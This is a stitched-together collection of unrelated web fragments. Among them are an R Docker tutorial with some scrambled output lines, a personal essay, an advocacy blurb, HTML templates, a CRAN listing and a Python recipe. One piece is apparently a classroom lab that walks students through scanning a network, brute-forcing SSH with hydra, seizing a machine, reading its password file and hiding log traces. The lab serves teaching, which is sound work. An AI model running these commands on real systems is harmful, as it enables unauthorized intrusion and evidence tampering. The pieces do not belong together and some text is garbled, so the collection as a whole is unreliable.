A Gentle Introduction to Docker
I need to run my code somewhere other than my machine. How do I do it?
Introduction
If you’re doing data science work, it’s likely you’ll eventually come across a situation where you need to run your code somewhere else. Whether that “somewhere” is the machine of a teammate, an EC2 box, a pod in a Kubernetes cluster, a runner in your team’s CI/CD rig, on a Spark cluster, and so on depends greatly on the problem you’re solving. But the ultimate point is the same: Eventually, you’ll need to be able to package your code up, put it somewhere in the world other than your local machine, and have it run just like it has been for you.
Enter: Docker
Docker seems very complicated at first glance. And there’s a lot of jargon: Images, containers, volumes, and more, and that doesn’t even begin to cover the world of container orchestration: Docker-Compose, Kubernetes, and so on. But at its core, you can think of Docker as a little environment – not too unlike your local machine – that has a file system, configuration, etc. that’s packaged up into a magical box that you can run on any computer, anywhere. Or at least on computers that have Docker installed.
It might be simplest to consider a small example.
Let’s imagine we want to print “Hello from Docker!” from R. First, make a new directory called docker-example
(or whatever you want to call it):
mkdir docker-example && cd docker-example
And then we might do something like the following:
## Dockerfile
FROM rocker/r-ver:4.2.0
CMD ["Rscript", "-e", "'Hello from Docker!'"]
If you paste that into a file called Dockerfile
, you can then run:
docker build --tag example .
Which will build the Docker image by running each command you’ve specified. Going line by line, those commands are:
- Use the
rocker/r-ver:4.2.0
image as the base image. In Docker, base images are useful because they come with things (such as the R language) pre-installed, so you don’t need to install them yourself.rocker/r-ver:4.2.0
ships with R version4.2.0
pre-installed, which means you can run R as you would on your local. - After declaring the base image, we specify a command to run when
docker run
is invoked. This command is simple – it just printsHello from Docker!
.
Once the build has completed, you can:
docker run example
and you should see:
1] "Hello from Docker!" [
Tada 🎉! You just ran R in a Docker container. And since you have your code running in Docker, you could now run the same code on any other machine that supports Docker.
More Complicated Builds
Of course, this example was trivial. In the real world, our projects are much more complex. They have dependencies, they rely on environment variables, they have scripts that need to be run, and so on.
Copying Files
Let’s start with running a script instead of running R from the command line as we have been.
Create an R script called example.R
that looks like this:
## example.R
print("Hello from Docker!")
And then you can update the Dockerfile by adding a COPY
command to copy the script into your image, as follows.
## Dockerfile
FROM rocker/r-ver:4.2.0
COPY example.R example.R
CMD ["Rscript", "example.R"]
The COPY
command tells Docker that you want to take example.R
and put it into your image at /example.R
. You can also specify a file path in the image, but I’m just putting the files I copy in at the root.
Finally, let’s build and run our Docker image again:
docker build --tag example .
docker run example
Amazing! You can see in the build logs that the example.R
script was copied into the image:
=> [2/3] COPY example.R example.R
and then running the image gives the same result as before:
1] "Hello from Docker!" [
Installing Dependencies
You’ll generally also need to install dependencies, which you can do using the RUN
command. Let’s update the Dockerfile to install glue
.
## Dockerfile
FROM rocker/r-ver:4.2.0
COPY example.R example.R
RUN Rscript -e "install.packages('glue')"
CMD ["Rscript", "example.R"]
Now, the third step in the build installs glue
. And to show it works, we’ll use glue
to do a bit of string interpolation, printing the R version that’s running from the R_VERSION
environment variable. Update example.R
as follows:
## example.R
library(glue)
print(glue('Hello from Docker! I am running R version {Sys.getenv("R_VERSION")}'))
Building and running again should give you some new output. First, you should see glue
installing in the build logs:
=> [3/3] RUN Rscript -e "install.packages('glue')"
And once you run the image, you should see:
! I am running R version 4.2.0 Hello from Docker
Woohoo! 🥳🥳
Using renv
But as I wrote about in my last post, having global dependency installs is usually a bad idea. So we probably don’t want to have an install.packages()
as a RUN
step in the Dockerfile. Instead, let’s use renv
to manage our dependencies.
From the command line, run:
Rscript -e "renv::init()"
Since you already are using glue
in your project, this will generate a lockfile that looks something like this:
{
"R": {
"Version": "4.2.0",
"Repositories": [
{
"Name": "CRAN",
"URL": "https://cloud.r-project.org"
}
]
},
"Packages": {
"glue": {
"Package": "glue",
"Version": "1.6.2",
"Source": "Repository",
"Repository": "CRAN",
"Requirements": [
"R",
"methods"
],
"Hash": "4f2596dfb05dac67b9dc558e5c6fba2e"
},
"renv": {
"Package": "renv",
"Version": "0.17.3",
"Source": "Repository",
"Repository": "CRAN",
"Requirements": [
"utils"
],
"Hash": "4543b8cd233ae25c6aba8548be9e747e"
}
}
}
Now that we have renv
set up, we can update the Dockerfile a bit more:
## Dockerfile
FROM rocker/r-ver:4.2.0
COPY example.R example.R
COPY renv /renv
COPY .Rprofile .Rprofile
COPY renv.lock renv.lock
RUN Rscript -e "renv::restore()"
CMD ["Rscript", "example.R"]
Now, we’re copying all of the renv
scaffolding into the image. And instead of running install.packages(...)
, we’ve replaced that line with renv::restore()
which will look at the lockfile and install packages as they’re defined. Rebuilding and running the image again will give you the same result as before.
Now that we have a script running in Docker and are using renv
to declare and install dependencies, let’s move on to…
Environment Variables
Sometimes we need environment variables like a Github token or a database URL, either to install our dependencies or to run our code. Depending on when the variable will be used, we can either specify it at build time (as a build arg) or a run time. Generally, it’s a good idea to only specify build args that you really need at build time.
Build Time Config
For instance, if your build requires downloading a package from a private Github repository (for which you need to have a GITHUB_PAT
set), then you would specify your GITHUB_PAT
as a build arg. Let’s try that:
## Dockerfile
FROM rocker/r-ver:4.2.0
ARG GITHUB_PAT
## Note: don't actually do this
## It's just for the sake of example
RUN echo "$GITHUB_PAT"
COPY example.R example.R
COPY renv /renv
COPY .Rprofile .Rprofile
COPY renv.lock renv.lock
RUN Rscript -e "renv::restore()"
CMD ["Rscript", "example.R"]
Now, the second line adds a build arg using ARG
. Next, run the build:
docker build --tag example --build-arg GITHUB_PAT=foobar .
You should see the following in the logs:
=> [2/7] RUN echo "foobar"
This means that your variable GITHUB_PAT
has been successfully set, and can be used at build time for whatever it’s needed for.
Runtime Config
Other times, you want config to be available at container runtime. For instance, if you’re running a web app, you might not need to be able to connect to your production database when you’re building the image that houses your app. But you need to be able to connect when the container boots up. To achieve this, use --env
(or --env-file
). We’ll update our example.R
a bit to show how this works.
## example.R
library(glue)
print(glue('Github PAT: {Sys.getenv("GITHUB_PAT")}'))
print(glue('Database URL: {Sys.getenv("DATABASE_URL")}'))
print(glue('Hello from Docker! I am running R version {Sys.getenv("R_VERSION")}.'))
And then, let’s rebuild:
docker build --tag example --build-arg GITHUB_PAT=foobar .
and now we’ll run our image, but this time with the --env
flag:
docker run --env DATABASE_URL=loremipsum example
This tells Docker that you want to pass the environment variable DATABASE_URL=loremipsum
into the container running your example
image when the container boots up.
And after running, you’ll see something like this:
:
Github PAT: loremipsum
Database URL! I am running R version 4.2.0. Hello from Docker
There are a few things to note here.
- The
GITHUB_PAT
that you set as a build arg is no longer accessible at runtime. It’s only accessible at build time. - The
DATABASE_URL
we provided with the--env
flag is now accessible as an environment variable namedDATABASE_URL
Advanced Topics
This post is intended to be a gentle introduction to Docker, but there’s a lot that’s missing. I’d like to quickly address a couple more topics that have been helpful to me and our team as we’ve relied more and more heavily on Docker.
Custom Base Images
You might have noticed that your builds take longer as they do more. For instance, the glue
install, even though glue
is extremely lightweight, takes a few seconds. If you have many dependencies (R dependencies, C dependencies, etc.), building an image for your project can get prohibitively slow. For us in the past, builds have taken over an hour just restoring the dependencies recorded in the lockfile.
A convenient way around this is to install some “base” dependencies that you’ll update rarely and use often into a base image, which you then push to a repository like Docker Hub and then use as your base image in the FROM ...
line of your Dockerfile for any particular project. This prevents you from needing to install the same, unchanged dependencies over and over again.
We’ve had a lot of success using this strategy on a few particular fronts:
- Making sure we’re using the same version of R everywhere is simple if we define the R version in one place with a
FROM rocker/r-ver:4.2.0
in our base image (which is calledcollegevine/r-prod-base
), and then we useFROM collegevine/r-prod-base
as the base image for all of our other Docker builds. - Installing Linux dependencies, such as
curl
,unzip
, etc. which we’re happy keeping on a single version can happen once in the base image, and then every downstream image can rely on those same dependencies. - Installing CLIs like the AWS CLI, which again, really doesn’t need to happen on every build.
CI / CD
The other time-saving strategy we’ve greatly benefited from is aggressive caching R packages in our CI / CD process. renv
has great docs on using it within a CI / CD rig which I would highly recommend.
At a high level, what we do is renv::restore()
in the CI itself (before running the docker build ...
), which installs all of the packages our project needs. Then we COPY
the cache of packages into our image, so that they’re available inside of the image. This means we don’t need to reinstall every dependency on every build, and has probably sped up our image build times by 100x.
Wrapping Up
I hope this post has demystified Docker a bit and helped clarify some of the basics of Docker and how it’s used.  All you need to do is build
and push
your image!


Identity, Values and Strengths
I like to think that my core values are interwoven and align with one another. Creativity has been a huge part of my life and this was nurtured from a young age. My interests have always rested within the realms of creativity whether that was writing, dancing, performing, creating art, making music or taking photos.
Diversity, equity and fairness are all values that have shaped my personal identity. I strongly believe that diversity creates innovation and that having diverse representation is essential to progress. Over the years I have been involved in creative pursuits and projects that treat diversity as the norm and not the exception. As a result I have found it particularly difficult to work in environments where there is a clear lack of diversity and inclusivity. On a few occasions when I have heard friends, family or colleagues talk negatively about marginalised communities, I feel a real obligation to say something (whether it affects me or not). Most of the time this is met with frostiness but hopefully it has given them an opportunity to reflect on what they’ve said and why I think it is inappropriate.
I grew up in a matriarchal household with three mothers AKA a mum and two older sisters. A lot of their values regarding feminism, gender stereotypes and independence have inherently been passed down to me. These values are ingrained in my culture and are part of my personal identity. Feminism is equity for all and is a non-negotiable value of mine.
Strengths: I have a fear of failure - when I start something I commit to it a hundred percent and dislike having unfinished projects. I am a creative thinker and am good at visualising a project or an end goal.  I can see the bigger picture and am able to adapt to suit the needs of a team. I am decisive - I know what I like and don’t like. I am really passionate about the things I care about.
Limitations: When I feel stressed or overwhelmed I can catastrophise obstacles, shut down and struggle to see a way forward. This is when my emotions take over and I am incapable of thinking logically. I can be intolerable of people who act or think differently from myself. I prefer working with people who think similarly or have common interests. I can be impatient with myself and others - I like to see the results of progress and get frustrated with too much talking and not enough action.
I think that my proudness will overrule any obstacle I cross. Even if I feel like I can’t see a way forward, my persistence will force me to complete the task on hand (even if it is through gritted teeth). I am motivated by the fear of failure which sometimes can be a blessing and a curse!
I worked with a person whose communication style was the polar opposite of mine. Even though I come across as a confident person, I struggle with anxiety and will overthink every little interaction with another person. This colleague would communicate in ways which I found really passive aggressive and most interactions were tense. I started to get really anxious about going into work and felt trapped because of the work hierarchy. Things definitely improved when a new person joined our team but it was an ongoing struggle that was never fully resolved. Looking back now I think I should have communicated with my manager what was going on for me. I was never really sure if it was all in my head or not so I feel like articulating my feelings in a rational way would have improved the situation.


Technically, Holofunk is a synesthizer.
Synesthesia is the cross-stimulation of sensory pathways. Holofunk takes your every sound and puts it in front of you, letting you see it, reach out, and touch it. Sight, touch, and sound become a unified experience when Holofunking.
Holofunk creates synthetic synesthesia, and I like switching the "th" and the "es" to turn synthesizer into synesthizer.
The only problem is that "synesthizer" is a tongue-twister, so Holofunk is its name :-) And there are who knows how many possible synesthizers -- Holofunk is just a first attempt!


Do Jews Have a Right to Live in the ‘West Bank’?
by Video ManagerBoomerang, an Israel advocacy media group, explains why Jews living in Judea and Samaria is “reasonable, moral, and just.” And most importantly, it is a Biblical commandment.
Boomerang, an Israel advocacy media group, explains why Jews living in Judea and Samaria is “reasonable, moral, and just.” And most importantly, it is a Biblical commandment.


Last Updated: 2019-11-19
Throughout this class you will develop:
Your understanding of how networks are assembled and work.
Your understanding of:
See the image below for instructions on how to connect the Pi. When booted, the Pi should automatically connect to the local network.
Your Pi is loaded with a version of Raspbian called Raspbian Lite. There is no desktop interface loaded with this distribution so you will need to use the command line during this class. You do not need to connect a mouse.
You have certain tools available which are pre-loaded on the Pi. These are:
nano #a simple text editor
cat #a way of displaying text files in a terminal
sudo #a tool for getting admin rights
arp-scan #a tool for scanning a network for IP addresses
ssh #a method for remotely connecting to another machine
hydra #a tool for trying lots of login passwords from a list
Some example usage of these commands is demonstrated below:
nano - A simple text editor
pi@raspberrypi ~ $ nano list.txt
This will bring up a list of passwords that you can edit. The correct password is in this list for this class. Press Ctrl+x to exit
cat - A way of displaying text files in a terminal
pi@raspberrypi ~ $ cat list.txt
This will print the contents of the text file to the terminal.
arp-scan - A tool for scanning a network for IP addresses
pi@raspberrypi ~ $ sudo arp-scan --interface=wlan0 --localnet
This will scan the Wi-Fi (this is specified by the wlan0 flag) network that the Pi is connected to and print all devices currently connected to that network.
ssh - A method for remotely connecting to another machine
pi@raspberrypi ~ $ ssh<EMAIL_ADDRESS>This will establish a remote connection to the pi located at the IP address <IP_ADDRESS>. It will ask for a password. This is the main user password for the Pi. The default is raspberry.
hydra - A tool for trying lots of login passwords from a list
pi@raspberrypi ~ $ hydra -l pi -P list.txt <IP_ADDRESS> -t 4 ssh
This will attempt to connect to the pi at IP address <IP_ADDRESS> using the passwords in the file list.txt. You can find the explanation of the rest of the command in the hydra man pages.
Note:
It is a good idea to first establish your own IP address. Run this command in the terminal:
pi@raspberrypi ~ $ ifconfig
Under this command, you should see some numbers 192.168.0.??? which corresponds to your IP address. Make a note of this.
Run this command to scan the network for other attached devices.
pi@raspberrypi ~ $ sudo arp-scan --interface=wlan0 --localnet
You should see the other Pis in the class, the router (which will always have the IP address <IP_ADDRESS>) and another device. This is the vulnerable device.
Run this command in the terminal:
pi@raspberrypi ~ $ ssh pi@192.168.0.???
replacing the question marks with the IP address of a device on the network which you discovered in the previous step.
If you see a response that the connection was refused, try a different number.
Once you have attempted to enter the password, run the following command
pi@raspberrypi ~ $ hydra -l pi -P list.txt 192.168.0.?? -t 4 ssh
where the question marks are the IP address of the vulnerable device.
If this connects, you now have full control of this machine. Try the following command:
pi@raspberrypi ~ $ ls
This should list the contents of the directory. If this has all been completed correctly, you should see a passwords.txt file in the directory.
If you run the command:
pi@raspberrypi ~ $ cat passwords.txt
you should see the password to enter into the Form here: https://forms.gle/82UVt25cr7Hzx5QEA
The two to look at are
/var/auth.log & ~/.bash_history
This tutorial will not cover the rest of covering your tracks. Find out how to do this online... Good luck!
Congratulations, you have reached the end of the tutorial. Good luck!
If you have any questions, please contact Scott Morgan |<EMAIL_ADDRESS>Next steps:
If you're interested in this, you should learn:
See more info in the Slide deck.
Resources & Further Reading:


A quote block using blockquote
Short quotation with q tag
Abbreviation -
JS
Address tag
example.com
Green Street 14, Iceland
Spiderman
by DC Comics
bdo (Bi-Directional Override) tag right to left
Return to home page


{extend name="index/base" /} {block name="body"}
This is a simple cloud note book system, you can record whatever you want.
It uses THINKPHP and MYSQL. It is a safe system.
Learn more


All Classes
AbstractReport
AbstractRule
CLiReport
CommandLineArguments
CompositeRule
ContainsRule
LogEntryReference
Main
Matcher
ParsingEngine
ProgressBar
Report
Rule
RuleFactory
RuleMatch
RuleSerializer
SingleLineRegexRule
SurroundingMatchContainsRule
TXTReport


--- permalink: /player ---
To view this video please enable JavaScript, and consider upgrading to a web browser that supports HTML5 video


Running tasks in
23
seconds...
Stop
5
10
30
60
Howdy! Now, let's wait for the first execution cycle...
This is error
Started
09.07.1970 09:00
Completed
0
Failed
0
Visit SmartPX.fi
Commands
▹ Documentation...
▹ Open log file...
▹ Edit config.ini...
© 2020 SmartPX
13.01.2020 12:26


--- layout: about title: "its team" permalink: /about-team/ category: "about" ---
Hello! We're ITS Team, the one and only professional playing card design team based in Seoul.
We released more than 19 varients, printed 26,500 decks to the world since 2013.
Our goal is to combine the playing cards and art. We always push the limit of playing card design to make the something more than 54 papers.


Origin: {{flight.outboundOrigin}}
Destination: {{flight.outboundDestination}}
Carrier: {{flight.outboundCarrier}}
Departure Date: {{flight.outboundDepartureDate}}
Origin: {{flight.inboundOrigin}}
Destination: {{flight.inboundDestination}}
Carrier: {{flight.inboundCarrier}}
Departure Date: {{flight.inboundDepartureDate }}
Price: {{flight.Price | currency : '£'}}


|
OpenM++ compiler (omc)
|
Public Member Functions | |
| ExprForTableAccumulator (const Symbol *accumulator) | |
| Constructor for an accumulator leaf (terminal) in a table expression tree. More... | |
Public Attributes | |
| Symbol *& | accumulator |
| EntityTableAccumulatorSymbol * | pp_accumulator |
|
inline |
Constructor for an accumulator leaf (terminal) in a table expression tree.
| accumulator | The accumulator being tabulated. |


ID
Male
Female
Disabled
Disabled-Checked
Apple
Orange
Banana
Disabled
Disabled-Checked
Switch
No ID
Male
Female
Disabled
Disabled-Checked
Apple
Orange
Banana
Disabled
Disabled-Checked
Switch


Slow Motion Server
Settings
Server Settings
Close
Intro Video:
Not Set
Choose File
Exit Video:
Not Set
Choose File
Music:
Not Set
Choose File
Slow Motion Times
Delay:
  Duration:
  Stretch:

Save
Alert Message
OK


Pure R implementation of Apache Thrift. This library doesn't require any code generation. To learn more about Thrift go to <https://thrift.apache.org>.
| Version: | 1.0.3 |
| Imports: | R6, rly, stringi |
| Suggests: | testthat |
| Published: | 2018-09-24 |
| Author: | Marek Jagielski [aut, cre, cph], Lixin Yu [aut, cph] |
| Maintainer: | Marek Jagielski <marek.jagielski at gmail.com> |
| BugReports: | https://github.com/systemincloud/thriftr/issues |
| License: | MIT + file LICENSE |
| URL: | https://github.com/systemincloud/thriftr |
| NeedsCompilation: | no |
| CRAN checks: | thriftr results |
| Reference manual: | thriftr.pdf |
| Package source: | thriftr_1.0.3.tar.gz |
| Windows binaries: | r-devel: thriftr_1.0.3.zip, r-release: thriftr_1.0.3.zip, r-oldrel: thriftr_1.0.3.zip |
| OS X binaries: | r-release: thriftr_1.0.3.tgz, r-oldrel: thriftr_1.0.3.tgz |
Please use the canonical form https://CRAN.R-project.org/package=thriftr to link to this page.


Mr Key is pleased to announce that readers, obsessives, and persons of a bonkers disposition can now follow Hooting Yard on Witter. As you may already know, Witter is an exciting new social networking service, designed for people with pea-sized brains who want to shrink them further, even unto the point of invisibility. The idea is that, every fifty years, “witterers” write an account of their doings, in beautiful if somewhat clogged handwriting, on sheets of vellum, and roll the sheets up, and seal them with wax, and carry them around the countryside, stopping every now and then to accost a wayfarer or a peasant, whom they shove into a ditch, and to whom they then read the “witter”, aloud, and at length. I think you will all agree that this is a splendid new way to get the Hooting Yard message across to folk far and wide.
Witter should not be confused with a similar service, recently popularised by, among others, the Most Intelligent Life-Form Ever To Walk The Earth, otherwise known as Stephen Fry, who cleverly uses it to demonstrate his command of childish scatological exclamations, to the delight of a thankful nation.
“All man's miseries derive from not being able to sit quietly in a room alone.”—Pascal


Recipe 2.23. Reading an Unbuffered Character in a Cross-Platform Way
Credit: Danny Yoo
Problem
Your application needs to read single
characters, unbuffered, from standard input, and it needs to work on
both Windows and Unix-like systems.
Solution
When we need a cross-platform solution, starting with
platform-dependent ones, we need to wrap the different solutions so
that they look the same:
try:
from msvcrt import getch
except ImportError:
''' we're not on Windows, so we try the Unix-like approach '''
def getch( ):
import sys, tty, termios
fd = sys.stdin.fileno( )
old_settings = termios.tcgetattr(fd)
try:
tty.setraw(fd)
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
return ch
Discussion
On Windows,
the standard Python library module msvcrt offers
the handy getch function to read one character,
unbuffered, from the keyboard, without echoing it to the screen.
However, this module is not part of the standard Python library on
Unix and Unix-like platforms, such as Linux and Mac OS X. On such
platforms, we can get the same functionality with the
tty and termios modules of the
standard Python library (which, in turn, are not present on
Windows).
The key point is that in application-level code,
we should never have to worry about such issues; rather, we should
write our application code in platform-independent ways, counting on
library functions to paper over the differences between platforms.
The Python Standard Library fulfills that role admirably for most
tasks, but not all, and the problem posed by this recipe is an
example of one for which the Python Standard Library
doesn't directly supply a cross-platform solution.
When we can't find a ready-packaged cross-platform
solution in the standard library, we should package it anyway as part
of our own additional custom library. This recipe's
Solution, besides solving the specific task of the recipe, also shows
one good general way to go about such packaging. (Alternatively, you
can test sys.platform, but I prefer the approach
shown in this recipe.)
Your own library module should try to import the
standard library module it needs on a certain platform within a
TRy clause and include a corresponding
except ImportError clause that
is triggered when the module is running on a different platform. In
the body of that except clause, your own library
module can apply whatever alternate approach will work on the
different platform. In some rare cases, you may need more than two
platform-dependent approaches, but most often you'll
need one approach on Windows and only one other approach to cover all
other platforms. This is because most non-Windows platforms today are
generally Unix or Unix-like.
See Also
Library Reference and Python in a
Nutshell docs for msvcrt,
tty, and termios.
|